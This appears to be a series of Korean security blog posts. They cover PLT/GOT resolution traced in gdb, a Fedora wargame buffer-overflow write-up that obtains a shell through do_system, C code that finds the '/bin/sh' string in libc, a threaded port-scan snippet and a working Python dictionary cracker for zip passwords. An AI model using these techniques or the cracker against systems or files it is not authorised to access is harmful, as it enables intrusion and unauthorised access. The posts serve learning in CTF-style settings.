위에서 보면 이러한 글로벌 테이블은 처음 호출시에는 위와같이 한번더 점프하게 되는데, 그영역을 봐보면 아래와같이 어떠한 인자값을 넣고, dl_runtime_resolve 영역으로 점프하게 된다.

(gdb) x/3i 0x80482b8

0x80482b8 <_init+24>: pushl  0x80495e0

0x80482be <_init+30>: jmp    *0x80495e4


_dl_runtime_resolve 에서는 printf의 코드 영역의 주소를 찾아 GOT 테이블에 삽입하고 호출 후, 다시 복귀하는 루틴으로 구성 되어 있다.

(gdb) x/3i *0x80495e4

0x70e9e0 <_dl_runtime_resolve>: push   %eax

0x70e9e1 <_dl_runtime_resolve+1>: push   %ecx

0x70e9e2 <_dl_runtime_resolve+2>: push   %edx




자 이제 두번째  call   0x80482e8 <_init+72> 호출되는 부분이 PLT 이다. 간단하게 break point 를 걸어놓고 한번 printf 가 호출한 뒤 디버깅을 똑같이 진행해 보겠다.


(gdb) b *main+41

(gdb) c  //함수를 한번 호출시킨뒤 계속 진행


(gdb) x/3xi 0x80482e8

0x80482e8 <_init+72>: jmp    *0x80495f0

0x80482ee <_init+78>: push   $0x10

0x80482f3 <_init+83>: jmp    0x80482b8 <_init+24>


(gdb) x/12x 0x80495f0-20  //테이블을 보기 좋게 20을 빼준뒤 출력시켜 줌

0x80495dc <_GLOBAL_OFFSET_TABLE_>: 0x08049510 0x007194f8 0x0070e9e0 0x080482ce

0x80495ec <_GLOBAL_OFFSET_TABLE_+16>:0x00730d50 0x0075e660 0x00000000 0x00000000


(gdb) x/3xi *0x80495f0

0x75e660 <printf>: push   %ebp

0x75e661 <printf+1>: mov    %esp,%ebp

0x75e663 <printf+3>: lea    0xc(%ebp),%eax


위 과정을 보면 첫번째 호출 했을때의 과정이 사라지고 printf 함수가 바로 호출 되었음을 볼 수 있다.

즉 첫번째 과정에서 _dl_runtime_resolve 함수가 GOT 테이블에 printf 주소를 입력 시켜 놓은 것이다.




Posted by k1rha
2013. 4. 3. 16:29

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2013. 4. 1. 21:53
[LOB] 페도라 원정대 3 (dark_eyes -> hell_fire)

 

한동안 리모트 환경인줄 모르고 이해가 안갔던 문제,,

 

 

코드는 간단하다 그냥 ebp 를 저장했다가 되돌림으로써 fake_ebp 를 막아놓은 것 말고는 일반적인 버퍼 오버 플로우이다.

다만 리모트 환경이라는 부분을 코드를 찾는데 고생했다.

 

일반적인 페도라 리모트 오버플로우에서 쉘을 획득할때는 execve 보다 system 함수가 더 유용하다. 하지만 system 함수 역시 인자값을 구성해 줘야하는 어려움이 있는데 시스템 함수에는 내부 루틴중에 do_system 함수를 사용 하게 된다.

 

이 do_system 은 내부적으로 execve("/bin/sh","명령어 "); 와 같은 효과를 가지게 되므로 do_system 만 호출하여도 쉘이 올라가게 된다.

 




1. 번외 : [/bin/sh] 주소값 찾기

system 함수 내에는 do_system 이란 함수가 존재하고 이는 /bin/sh 를 인자값으로 쓴다.

때문에 system 함수를 기점으로 문자열을 검색해보면 [/bin/sh] 의 주소값을 찾을 수 있다.



[evil_wizard@Fedora_1stFloor ~]$ cat findsh.c

#include<stdio.h>

int main(int argc, char *argv[]){


int addr=0x007507c5; //system 함수의 주소

while(1){

if(memcmp(addr++,"/bin/sh",8)==0){

printf("[%p]\n",addr);

break;

}

}


return 0;


Posted by k1rha
2013. 3. 26. 23:43

쓰레드를 for문으로 띄워서 속도에 최적화 되게 만드는 것은 부루투 포싱때 매우 유용하다



for tgtPort in tgtPorts:


t = Thread(target=connScan, args=(tgtHost,int(tgtPort)))

t.start()


하지만 이 경우 결과가 뒤죽박숙 섞여서 출력 될 수 있다. 때문에, 세마포어 등을 이용하여 

약간 의 코드 수정을 해주는 것이 좋다.



screenLock = Semaphore(value =1 )

def connScan(tgtHost, tgtPort):

try :

.....


screenLock.acquire()

.....

except :

screenLock.acquire()


finally:

screenLock.release()

connSky.close()



Posted by k1rha
2013. 3. 26. 23:13

keyword  : zip 패스워드 풀기 zip 암호 풀기 zip 파일 암호 깨기 zip 파일 크랙 패스워드 크랙 python 


치명적인 파이썬 책에 있는 내용인데, 정말 재밌는 책인 것 같다. 

이런저런 유용한(?) 코드들이 많은 느낌이다.

아래 내용은 zip 파일 패스워드를 딕셔너리 방식으로 크랙하는 내용이다. 쓰레드를 이용하여 처리 하도록 되어 있고,

좋은 dictionary 나 브루투 포스 알고리즘만 짜두면 나쁘지 않을 것 같다.



usage %prog -f <zipfile> -d <dictionary>

root@ubuntu:/home/k1rha/python/ZIP_CRACK# 



import zipfile

import optparse

from threading import Thread


def extractFile(zFile,password):

try :

zFile.extractall(pwd=password)

print '[+] Found password ' + password + '\n'

except :

pass


def main():


parser = optparse.OptionParser("usage %prog "+\

"-f <zipfile> -d <dictionary>")

parser.add_option('-f',dest='zname', type='string',\

help='secify zip file')


parser.add_option('-d' , dest='dname', type='string',\

help='specify dictionary file')


(options,args) = parser.parse_args()

if(options.zname == None) | (options.dname == None):

print parser.usage

exit(0)


else :

zname = options.zname

dname = options.dname


zFile=zipfile.ZipFile(zname)

passFile = open(dname)

for line in passFile.readlines():

password = line.strip('\n')

t = Thread(target = extractFile , args=(zFile,password))

t.start()


if __name__ == '__main__':

main()

Posted by k1rha